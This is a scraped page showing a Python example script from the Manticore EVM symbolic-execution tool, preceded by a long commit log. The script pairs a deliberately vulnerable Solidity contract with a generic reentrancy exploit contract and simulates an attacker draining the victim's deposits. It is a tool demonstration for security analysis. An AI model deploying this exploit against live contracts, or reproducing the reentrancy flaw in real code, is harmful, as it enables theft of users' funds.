* WIP New Policy class * WIP pubsub * Update Signal tests * EVM support - Wip * EVM support - dependencies fixed * EVM support - fix decree merge * fix decode instrucion event * Fix small bugs in evm opcodes (too many arguments + wrong LOG name) (#380) Fix wrong call parameters + typo * Fix Create/Call * Fix depth * Default fixed point in arithmetic simplifier * small fixes from github comments * Fix event decode_instruction signature * wip wip * Auto tests for evm * New EVM tests * Ran 9556 FAILED (failures=166, errors=8, skipped=62) * Fix some arithmetic instructions * Ran 9556 FAILED (failures=136, errors=8, skipped=62) * More instructions - Optimizing symbolic memory * Added gas to opcodes description - FIX DELEGATECALL POPS * Add wip wallet example * The tests * Solidity constructors need argument after bytecode * Simple integer overflow working * Good merge * Good good merge * WIP manticore refactor * Fix default old-style initial state * context now working * Fix context serialization * Fix test models. Can not set a state constraints * typo * A few typos (constraints setter) and use of public properties in internal methods * Fix init wallet example * State __init__ needs to initialize platform constraints * Internal methods use internal properties * Better attack modeling * Better example layout * Storage backup on CALL is now faster .. and correct * Add LOG support * Minimal SE test * Added examples * Send ether bugfix * EVM: Fix wrong balance destination on CALL + decrease caller balance on CREATE * New balance management * Trying to maintain known hashes * Known hash concretization policy * CALLDATA max size bugfix * Minimal SE example * Remove evm tests * add -> enqueue * @m.init * Fix workspace url * Some test skipped * Ad Fixme to platform specific stuff in State * add -> enqueue * Enqueue created state * Fix m.init Use a messy hack to adhere to the spec (callback func receive 1 state argument) * Add _coverage_file ivar to Manticore * Fix symbolic files * remove extra enqueue * Fixing __main__ * comments * Fix visitors oddity * setup merged * remove duplicates and add pysha3 * Remove EVMTests import * Refactor platform specific code out of ManticoreOutput (#505) * Initial moving work * Clean * Make linux.generate_workspace_files work * Fix * clean * Add test * Test workspace for platform files * Skip EVM cpu pretty print * Remove bad import * Fix coverage.py for testing * Clean comment * Comment hack * Print evm cpu * pretty print evm world instead of platform * delet old scripts/examples * delet old tests * Remove z3 install script * Array.max_size can be None, include check for that * Rm unused _symbolic_files add_symbolic_files was moved to linux, so this is not needed * Rm unused args * Import evm * Rm dup function * Rm stray prints * Add docs for new classmethod apis * minimal * minimal example * fix minimal * Fair symbolic SHA3 handling * Simple mapping example * coverage example * fix tests * fix minimal * Some eko fixes * New SETH * integer_overflow refactored * Fixing the examples * init_bytecode -> init ' * Concrete reentrancy exampole * concrete reentrancy selfdestruct * Update minimal.py * It's a new Minimal * Integer overflow example * New minimal * minimal fix * Examples last minute fixes * Remove debug print * add plugin.py * Fixing event subscription * remove temp params * Remove param * Update uncovered will_exec callback prototype * Clean up debug output * Automatically generated intruction tests * Uninplemented instruction test removed * Unused concretization policy removed * Fixes enabling default bplugins * solc from PATH * Removed unused import * Logger name updated
183 lines
6.6 KiB
Python
183 lines
6.6 KiB
Python
from seth import ManticoreEVM
|
|
################ Script #######################
|
|
|
|
seth = ManticoreEVM()
|
|
seth.verbosity(0)
|
|
#The contract account to analyze
|
|
contract_source_code = '''
|
|
pragma solidity ^0.4.15;
|
|
|
|
contract Reentrance {
|
|
mapping (address => uint) userBalance;
|
|
|
|
function getBalance(address u) constant returns(uint){
|
|
return userBalance[u];
|
|
}
|
|
|
|
function addToBalance() payable{
|
|
userBalance[msg.sender] += msg.value;
|
|
}
|
|
|
|
function withdrawBalance(){
|
|
// send userBalance[msg.sender] ethers to msg.sender
|
|
// if mgs.sender is a contract, it will call its fallback function
|
|
if( ! (msg.sender.call.value(userBalance[msg.sender])() ) ){
|
|
revert();
|
|
}
|
|
userBalance[msg.sender] = 0;
|
|
}
|
|
}
|
|
//Function signatures:
|
|
//c0e317fb: addToBalance()
|
|
//f8b2cb4f: getBalance(address)
|
|
//5fd8c710: withdrawBalance()
|
|
'''
|
|
|
|
exploit_source_code = '''
|
|
pragma solidity ^0.4.15;
|
|
|
|
contract GenericReentranceExploit {
|
|
event Log(address);
|
|
int reentry_reps=10;
|
|
address vulnerable_contract=0x4141414141414141;
|
|
address owner;
|
|
bytes reentry_attack_string;
|
|
|
|
function GenericReentranceExploit(address _vulnerable_contract){
|
|
vulnerable_contract = _vulnerable_contract;
|
|
owner = msg.sender;
|
|
Log(vulnerable_contract);
|
|
}
|
|
|
|
function set_vulnerable_contract(address _vulnerable_contract){
|
|
vulnerable_contract = _vulnerable_contract ;
|
|
}
|
|
|
|
function set_reentry_attack_string(bytes _reentry_attack_string){
|
|
reentry_attack_string = _reentry_attack_string;
|
|
}
|
|
|
|
function set_reentry_reps(int reps){
|
|
reentry_reps = reps;
|
|
}
|
|
|
|
function delegate(bytes data) payable{
|
|
// call addToBalance with msg.value ethers
|
|
vulnerable_contract.call.value(msg.value)(data);
|
|
}
|
|
|
|
function get_money(){
|
|
suicide(owner);
|
|
}
|
|
|
|
function () payable{
|
|
// reentry_reps is used to execute the attack a number of times
|
|
// otherwise there is a loop between withdrawBalance and the fallback function
|
|
if (reentry_reps > 0){
|
|
reentry_reps = reentry_reps - 1;
|
|
vulnerable_contract.call(reentry_attack_string);
|
|
}
|
|
}
|
|
}
|
|
//Function signatures:
|
|
//0ccfac9e: delegate(bytes)
|
|
//b8029269: get_money()
|
|
//9d15fd17: set_reentry_attack_string(bytes)
|
|
//0d4b1aca: set_reentry_reps(int256)
|
|
//beac44e7: set_vulnerable_contract(address)
|
|
'''
|
|
|
|
contract_bytecode = seth.compile(contract_source_code)
|
|
exploit_bytecode = seth.compile(exploit_source_code)
|
|
|
|
attacker_account = seth.create_account(balance=10)
|
|
user_account = seth.create_account(balance=1000)
|
|
contract_account = seth.create_contract(owner=user_account,
|
|
init=contract_bytecode)
|
|
|
|
'''
|
|
c0e317fb addToBalance()
|
|
f8b2cb4f getBalance(address)
|
|
5fd8c710 withdrawBalance()'''
|
|
''
|
|
print "[+] Setup the exploit"
|
|
|
|
exploit_account = seth.create_contract(owner=attacker_account,
|
|
init=exploit_bytecode+seth.pack_msb(contract_account))
|
|
|
|
print "\t Setting attack string"
|
|
|
|
#'\x9d\x15\xfd\x17'+pack_msb(32)+pack_msb(4)+'\x5f\xd8\xc7\x10',
|
|
seth.transaction( caller=attacker_account,
|
|
address=exploit_account,
|
|
data=seth.make_function_call("set_reentry_attack_string(bytes)", seth.make_function_id('withdrawBalance()')),
|
|
value=0)
|
|
|
|
print "[+] Initial world state"
|
|
print " attacker_account %x balance: %d"% (attacker_account, seth.world.storage[attacker_account]['balance'])
|
|
print " exploit_account %x balance: %d"% (exploit_account, seth.world.storage[exploit_account]['balance'])
|
|
print " user_account %x balance: %d"% (user_account, seth.world.storage[user_account]['balance'])
|
|
print " contract_account %x balance: %d"% (contract_account, seth.world.storage[contract_account]['balance'])
|
|
|
|
|
|
#User deposits all in contract
|
|
print "[+] user deposited some."
|
|
#'\xc0\xe3\x17\xfb'
|
|
seth.transaction( caller=user_account,
|
|
address=contract_account,
|
|
data=seth.make_function_call('addToBalance()'),
|
|
value=1000)
|
|
|
|
print "[+] There are %d reverted states now"% len(seth.final_state_ids)
|
|
print "[+] There are %d alive states now"% (len(seth.running_state_ids))
|
|
|
|
print " attacker_account %x balance: %d"% (attacker_account, seth.world.storage[attacker_account]['balance'])
|
|
print " exploit_account %x balance: %d"% (exploit_account, seth.world.storage[exploit_account]['balance'])
|
|
print " user_account %x balance: %d"% (user_account, seth.world.storage[user_account]['balance'])
|
|
print " contract_account %x balance: %d"% (contract_account, seth.world.storage[contract_account]['balance'])
|
|
|
|
|
|
print "[+] Let attacker deposit some small amount using exploit"
|
|
#'\x0c\xcf\xac\x9e'+pack_msb(32)+pack_msb(4)+'\xc0\xe3\x17\xfb',
|
|
seth.transaction( caller=attacker_account,
|
|
address=exploit_account,
|
|
data=seth.make_function_call('delegate(bytes)', seth.make_function_id('addToBalance()')),
|
|
value=5)
|
|
|
|
print " attacker_account %x balance: %d"% (attacker_account, seth.world.storage[attacker_account]['balance'])
|
|
print " exploit_account %x balance: %d"% (exploit_account, seth.world.storage[exploit_account]['balance'])
|
|
print " user_account %x balance: %d"% (user_account, seth.world.storage[user_account]['balance'])
|
|
print " contract_account %x balance: %d"% (contract_account, seth.world.storage[contract_account]['balance'])
|
|
|
|
print "[+] Let attacker extract all using exploit"
|
|
#'\x0c\xcf\xac\x9e'+pack_msb(32)+pack_msb(4)+'\x5f\xd8\xc7\x10'
|
|
seth.transaction( caller=attacker_account,
|
|
address=exploit_account,
|
|
data=seth.make_function_call('delegate(bytes)', seth.make_function_id('withdrawBalance()')),
|
|
value=0)
|
|
|
|
print "[+] Let attacker destroy the exploit andprofit"
|
|
seth.transaction( caller=attacker_account,
|
|
address=exploit_account,
|
|
data=seth.make_function_call('get_money()'),
|
|
value=0)
|
|
|
|
|
|
print " attacker_account %x balance: %d"% (attacker_account, seth.world.storage[attacker_account]['balance'])
|
|
print " user_account %x balance: %d"% (user_account, seth.world.storage[user_account]['balance'])
|
|
print " contract_account %x balance: %d"% (contract_account, seth.world.storage[contract_account]['balance'])
|
|
|
|
print "[+] There are %d reverted states now"% len(seth.final_state_ids)
|
|
for state_id in seth.final_state_ids:
|
|
seth.report(state_id)
|
|
|
|
print "[+] There are %d alive states now"% (len(seth.running_state_ids))
|
|
for state_id in seth.running_state_ids:
|
|
seth.report(state_id)
|
|
|
|
print "[+] Global coverage:"
|
|
print seth.coverage(contract_account)
|
|
|
|
|
|
|